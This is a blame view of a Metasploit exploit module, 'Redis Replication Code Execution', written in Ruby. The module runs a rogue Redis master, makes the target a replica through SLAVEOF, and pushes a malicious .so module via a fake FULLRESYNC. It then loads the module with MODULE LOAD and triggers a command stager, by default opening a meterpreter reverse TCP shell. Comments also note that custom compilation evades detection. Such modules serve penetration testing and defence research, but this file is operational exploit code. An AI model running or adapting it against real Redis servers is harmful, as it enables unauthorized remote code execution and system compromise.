Files
metasploit-gs/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

298 lines
8.8 KiB
Ruby
Raw Normal View History

2019-07-17 15:25:05 +08:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::TcpServer
2019-07-20 00:17:57 +08:00
include Msf::Exploit::CmdStager
2019-07-17 15:25:05 +08:00
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis
2020-03-28 11:43:47 +08:00
include Msf::Module::Deprecated
moved_from 'exploit/linux/redis/redis_unauth_exec'
2019-07-17 15:25:05 +08:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Redis Replication Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added since Redis 4.0.0
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' => [
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
2019-07-17 15:25:05 +08:00
],
'References' => [
2019-07-17 15:25:05 +08:00
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Automatic', {} ],
2019-07-17 15:25:05 +08:00
],
'DefaultOptions' => {
2019-07-17 15:25:05 +08:00
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => '2018-11-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ SERVICE_RESOURCE_LOSS ],
'Reliability' => [ REPEATABLE_SESSION ],
2019-07-20 00:17:57 +08:00
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
}
)
)
2019-07-17 15:25:05 +08:00
register_options(
[
Opt::RPORT(6379),
2019-07-20 00:17:57 +08:00
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
2019-07-17 15:25:05 +08:00
]
)
register_advanced_options(
[
2019-07-20 00:17:57 +08:00
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
2019-07-21 09:33:18 +08:00
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
2019-07-20 00:17:57 +08:00
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
2019-07-17 15:25:05 +08:00
]
)
2019-07-20 00:17:57 +08:00
deregister_options('URIPATH', 'THREADS', 'SSLCert')
2019-07-17 15:25:05 +08:00
end
#
# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
2019-07-17 15:25:05 +08:00
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end
unless redis_version
return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')
end
# Only vulnerable to version 4.x or 5.x
2021-02-17 12:33:59 +00:00
version = Rex::Version.new(redis_version)
if version >= Rex::Version.new('4.0.0')
return CheckCode::Vulnerable("Redis version is #{redis_version}")
end
CheckCode::Safe
2019-07-17 15:25:05 +08:00
ensure
disconnect
end
def has_check?
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
end
2019-07-17 15:25:05 +08:00
def exploit
2019-07-20 00:17:57 +08:00
if check_custom
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
2019-07-20 00:17:57 +08:00
else
2019-07-28 21:38:54 -05:00
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
2019-07-20 00:17:57 +08:00
end
2019-07-17 15:25:05 +08:00
2019-07-28 21:38:54 -05:00
if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
2019-07-17 15:25:05 +08:00
buf = create_payload
generate_code_file(buf)
compile_payload
end
connect
2019-07-20 00:17:57 +08:00
#
# Send the payload.
#
2019-07-17 15:25:05 +08:00
redis_command('SLAVEOF', srvhost, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)
2019-07-17 15:25:05 +08:00
::IO.select(nil, nil, nil, 2.0)
2019-07-20 00:17:57 +08:00
# start the rogue server
2019-07-17 15:25:05 +08:00
start_rogue_server
2019-07-20 00:17:57 +08:00
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
2019-07-17 15:25:05 +08:00
redis_command('SLAVEOF', 'NO', 'ONE')
2019-07-20 00:17:57 +08:00
# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger
2019-07-17 15:25:05 +08:00
2019-07-20 00:17:57 +08:00
# Clean up
2019-07-17 15:25:05 +08:00
Rex.sleep(2)
2019-07-20 00:17:57 +08:00
register_file_for_cleanup("./#{module_file}")
# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
2019-07-17 15:25:05 +08:00
ensure
disconnect
end
#
2019-07-20 00:17:57 +08:00
# We pretend to be a real redis server, and then slave the victim.
2019-07-17 15:25:05 +08:00
#
def start_rogue_server
begin
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })
print_status("Listening on #{srvhost}:#{srvport}")
rescue Rex::BindFailed
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
print_status("Listening on 0.0.0.0:#{srvport}")
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })
end
rsock = socket.accept
2019-07-28 21:38:54 -05:00
vprint_status('Accepted a connection')
2019-07-17 15:25:05 +08:00
# Start negotiation
loop do
2019-07-17 15:25:05 +08:00
request = rsock.read(1024)
2019-07-28 21:38:54 -05:00
vprint_status("in<<< #{request.inspect}")
response = ''
2019-07-17 15:25:05 +08:00
finish = false
if request.include?('PING')
2019-07-17 15:25:05 +08:00
response = "+PONG\r\n"
elsif request.include?('REPLCONF')
2019-07-17 15:25:05 +08:00
response = "+OK\r\n"
elsif request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z' * 40} 1\r\n"
2019-07-17 15:25:05 +08:00
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end
if response.length < 200
2019-07-28 21:38:54 -05:00
vprint_status("out>>> #{response.inspect}")
2019-07-17 15:25:05 +08:00
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
2019-07-17 15:25:05 +08:00
rsock.put(response)
next unless finish
print_status('Rogue server close...')
rsock.close
socket.close
break
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
end
2019-07-17 15:25:05 +08:00
2019-07-20 00:17:57 +08:00
def pull_the_trigger
if check_custom
redis_command(@module_cmd.to_s)
2019-07-20 00:17:57 +08:00
else
execute_cmdstager
end
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, _opts = {})
redis_command('shell.exec', cmd.to_s)
rescue StandardError
nil
2019-07-20 00:17:57 +08:00
end
#
# Generate source code file of payload to be compiled dynamicly.
#
2019-07-17 15:25:05 +08:00
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }
2019-07-17 15:25:05 +08:00
end
def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status('Clean old files')
vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)
vprint_status(`make -C #{File.dirname(make_file)} clean`)
2019-07-17 15:25:05 +08:00
2019-07-28 21:38:54 -05:00
print_status('Compile redis module extension file')
res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`
if res.include?('true')
print_good('Payload generated successfully! ')
2019-07-17 15:25:05 +08:00
else
2019-07-20 00:17:57 +08:00
print_error(res)
2019-07-28 21:38:54 -05:00
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
end
#
# check the environment for compile payload to so file.
#
def check_env
# check if linux
return false unless `uname -s 2>/dev/null`.include?('Linux')
2019-07-20 00:17:57 +08:00
# check if gcc installed
return false unless `command -v gcc && echo true`.include?('true')
2019-07-20 00:17:57 +08:00
# check if ld installed
return false unless `command -v ld && echo true`.include?('true')
2019-07-20 00:17:57 +08:00
true
end
def check_custom
return @custom_payload if @custom_payload
2019-07-17 15:25:05 +08:00
2019-07-20 00:17:57 +08:00
@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']
@custom_payload
2019-07-17 15:25:05 +08:00
end
def module_file
2019-07-20 00:17:57 +08:00
return @module_file if @module_file
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
2019-07-17 15:25:05 +08:00
end
def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end
def payload_bin
2019-07-20 00:17:57 +08:00
return @payload_bin if @payload_bin
2019-07-20 00:17:57 +08:00
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
2019-07-20 00:17:57 +08:00
end
@payload_bin
2019-07-17 15:25:05 +08:00
end
2019-07-20 00:17:57 +08:00
end